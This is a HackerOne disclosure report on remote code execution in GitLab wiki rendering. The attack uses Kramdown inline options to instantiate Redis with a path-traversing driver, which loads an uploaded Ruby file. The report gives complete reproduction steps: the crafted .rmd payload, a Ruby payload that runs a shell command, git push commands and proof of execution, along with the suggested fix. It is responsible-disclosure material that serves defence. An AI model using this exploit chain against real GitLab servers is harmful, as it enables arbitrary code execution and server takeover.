RCE via unsafe inline Kramdown options when rendering certain Wiki pages
HackerOne report #1125425 by vakzz
on 2021-03-14, assigned to @dcouture:
Report
Summary
When rendering wiki content with certain extensions such as .rmd
, render_wiki_content
will call other_markup_unsafe
which will end up calling GitHub::Markup.render
from the github-markup
gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.
Since kramdown
is loaded, this will end up using it for the markdown parser by calling Kramdown::Document.new(content).to_html
Kramdown has a special extension that allows for options to be set inline, the example they give is: {::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}
The default syntax highlighter is rouge
which has an option formatter
that can be set via syntax_highlighter_opts
in the inline options. This option gets used by formatter_class
:
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
def self.formatter_class(opts = {})
puts "formatter"
puts opts[:formatter]
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.x
::Rouge::Formatters::HTML
end
So this a means that ::Rouge::Formatters.const_get(opts[:formatter]).new(opts)
will be called, where opts
is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of /\A[[:upper:]][[:alnum:]_]*\z/
passes. The validation slightly restricts things, but pretty much any class without a namespace (::
is not allowed) can be created. For example (the two ~~
should have an extra ~
but it's messing up the h1 formatting so will need to add it):
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~ ruby
def what?
42
end
~~
Will result in a CSV
object being created and then it will error with private method 'format' called for #<CSV:0x00007fe4df7e26d0>
as it tries to use this as the formatter.
One of the loaded classes is gitlab is Redis
from redis-rb which has an option driver
that is used to load the driver class:
https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
As both require_relative
and require
allow for directory traversal, supplying a driver
option such as ../../../../../../../../../../tmp/a.rb
will cause that file to be evaluated.
One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: [file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)
. The default gitlab_rails['uploads_directory']
is /var/opt/gitlab/gitlab-rails/uploads
meaning the final file location will be /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb
.
Combining all of of this, we can create the following .rmd
file to execute our payload (add ~
to both of the ~~
):
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /}
~~ ruby
def what?
42
end
~~
Steps to reproduce
-
Create a new snippet with any title and file
-
In the description, click
Attach a file
and select the final ruby payload such as:puts "hello from ruby" `echo vakzz was here > /tmp/vakzz`
-
Make note of the upload path:
/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb
-
Create a new project
-
Click Wiki and create a default home page
-
Hit
Clone repository
to get the clone command -
Clone the repo
git clone git@gitlab-docker.local:root/proj1.wiki.git
and add the following filepage1.rmd
using the path from above (add~
to both the the~~
):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /} ~~ ruby def what? 42 end ~~
-
Push the changes
git add -A . && git commit -m "page1.rmd" && git push
-
Refresh the wiki, there should now be
page1
of the right hand side -
Click and load
page1
-
In the gitlab logs you should see something like:
wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb lib/gitlab/other_markup.rb:11:in `render' app/helpers/markup_helper.rb:280:in `other_markup_unsafe' app/helpers/markup_helper.rb:145:in `markup_unsafe' app/helpers/markup_helper.rb:130:in `render_wiki_content' app/views/shared/wikis/show.html.haml:30
-
Looking at
/tmp
you can see that the payload was executed:root@gitlab-docker:~# cat /tmp/vakzz vakzz was here
Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
Examples
Example page using the inline options to change the highlighter from rouge to minted
- https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1
What is the current bug behavior?
Inline options can be set when rendering kramdown documents
What is the expected correct behavior?
forbidden_inline_options
could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html
Output of checks
Results of GitLab environment info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.10
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.9.1-ee
Revision: 8ae438629fa
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.5
URL: http://gitlab-docker.local
HTTP Clone URL: http://gitlab-docker.local/some-group/some-project.git
SSH Clone URL: git@gitlab-docker.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.16.1
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
How To Reproduce
Please add reproducibility information to this section: